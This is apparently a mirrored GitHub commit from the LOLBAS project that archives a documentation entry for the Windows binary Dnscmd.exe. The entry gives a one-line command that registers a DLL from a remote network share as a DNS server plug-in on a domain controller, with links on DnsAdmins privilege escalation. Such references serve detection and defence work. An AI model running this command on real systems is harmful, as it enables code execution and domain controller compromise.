mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-29 05:31:53 +02:00
Removed MD files, we only use the webportal from now on. All MD files moved to archive
This commit is contained in:
26
Archive-Old-Version/OSBinaries/Dnscmd.exe.md
Normal file
26
Archive-Old-Version/OSBinaries/Dnscmd.exe.md
Normal file
@@ -0,0 +1,26 @@
|
||||
## Dnscmd.exe
|
||||
* Functions: Execute
|
||||
```
|
||||
|
||||
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
|
||||
Adds a specially crafted DLL as a plug-in of the DNS Service.
|
||||
```
|
||||
|
||||
* Resources:
|
||||
* https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
|
||||
* https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
|
||||
* https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
|
||||
* https://twitter.com/Hexacorn/status/994000792628719618
|
||||
* http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
|
||||
|
||||
* Full path:
|
||||
* c:\windows\system32\Dnscmd.exe
|
||||
* c:\windows\sysWOW64\Dnscmd.exe
|
||||
|
||||
* Notes: This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the refference links for DLL details.
|
||||
Thanks to Shay Ber - ?,
|
||||
Dimitrios Slamaris - @dim0x69,
|
||||
Nikhil SamratAshok,
|
||||
Mittal - @nikhil_mitt
|
||||
|
||||
|
Reference in New Issue
Block a user